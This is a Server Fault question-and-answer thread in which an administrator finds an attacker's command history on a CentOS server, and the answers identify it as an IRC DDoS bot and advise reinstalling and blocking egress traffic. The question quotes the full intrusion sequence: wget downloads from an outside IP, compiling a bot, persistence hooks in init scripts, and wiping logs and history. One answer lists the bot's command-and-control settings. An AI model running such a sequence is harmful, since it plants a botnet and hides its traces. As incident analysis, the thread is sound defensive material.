Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

This question already has an answer here:

We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following:

unset HISTFILE
mkdir /usr/lib/tmp 
cd /usr/lib/tmp 
wget http://188.72.217.17/mzb.c -o /dev/null
wget http://188.72.217.17/windef.h -o /dev/null
gcc mzb.c -o /bin/bot -lpthread
rm -rf mzb.c
rm -rf windef.h
wget http://188.72.217.17/botsupport.sh -o /dev/null
chmod +x botsupport.sh
mv botsupport.sh /etc/init.d/httpd2
cat /etc/init.d/network > /etc/init.d/network.bp
echo \#\!/bin/sh  >  /etc/init.d/network
echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network
cat /etc/init.d/network.bp >> /etc/init.d/network
cat /dev/null > /var/log/lastlog
history -c
nohup /etc/init.d/httpd2 &

(&&'s replaced with newlines for clarity)

I never ran these commands, EVER! How did this happen, is my server being hacked? I immediately changed my root password, but was hoping someone could make heads or tails of what's happening over here.

I see references made in the source to ddos bots, and me and my colleague are seriously concerned!

Thanks in advance!

share|improve this question

migrated from stackoverflow.com Feb 10 '10 at 20:04

This question came from our site for professional and enthusiast programmers.

marked as duplicate by Tom O'Connor Aug 25 '13 at 22:31

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

    
Belongs on ServerFault.com –  Oded Feb 10 '10 at 20:02
1  
Let me be the first to say: This is why you shouldn't be running as root... –  Aistina Feb 10 '10 at 20:05
1  
I hope you celebrated Backup Awareness Day. I celebrated Restore Awareness Day this week and found my automated deployment to be lacking. May your recovery be easier than mine was. –  Mnebuerquo Feb 10 '10 at 20:48
    
1  
Nice of the hacker to backup your /etc/init.d/network file. –  ceejayoz Feb 11 '10 at 0:00

6 Answers 6

up vote 7 down vote accepted

yes, you have been hacked. The hacker installed an IRC backdoor and you are connecting to this IRC server:

const  int port      = 1254; 
const char channel[] = "#test";
const char password[]= "pass";
const char server[]  = "heathen.cc";

The bot herder can execute any commands on your server. I recommend shutting down the server and reinstalling immediately. The bot has a few DDoS attack features, DNS flood, syn flood and ICMP flood. It also works on windows which is pretty cool. There is a really old spreading module to infect myDoom. This looks like some old malware.

share|improve this answer
3  
This is why you should always have firewall rules that block egress traffic. A properly configured firewall would have blocked this attack from being able to talk to it's command and control irc server. –  3dinfluence Feb 10 '10 at 20:39
    
This wouldn't have prevented the initial intrusion but would have made it more difficult for the attacker to add your server to a botnet. Either way you would have been faced with re-imaging your OS. –  3dinfluence Feb 10 '10 at 20:44
3  
"This looks like some old malware." - good thing he was running antivirus on his Linux box to detect this. –  ta.speot.is Feb 10 '10 at 22:03
    
@taspeotis +1 for the efficient use of humorous sarcasm... –  Joe Internet Feb 11 '10 at 0:39
    
I'm curious, how did you know that (the enemy server, port, UN, PW) from those commands? –  John Dec 8 '10 at 5:34

The answer is in any case yes, your server is being or has been compromised.

You should cut off the Internet connection to the server immediately, make a full backup (bear in mind other files may be compromised, too), and reinstall.

Also, you may want to notify the owners of the IP the bot net (or whatever this is) is run from. Here is the RIPE whois data.

share|improve this answer

Never allow root login via SSH.

share|improve this answer
2  
It could have been any user account who has sudo capability. –  Joe Feb 10 '10 at 21:02

The answer to your question is: YES

share|improve this answer

Sounds like you've been infected with BOT_VERSION where BOT_VERSION is

#define BOT_VERSION "Linux/Unix IRC DDoS bot ver "BIN_VERSVION" by ["CRED"MZђ"CEND"]. Supported features : "FEATURES

Didn't your Linux antivirus pick this up?

share|improve this answer

I probably would have sanitized the ip address of the C&C machine before posting.

share|improve this answer
1  
I dunno, I was rather curious about the source code. –  ceejayoz Feb 11 '10 at 0:02

Not the answer you're looking for? Browse other questions tagged or ask your own question.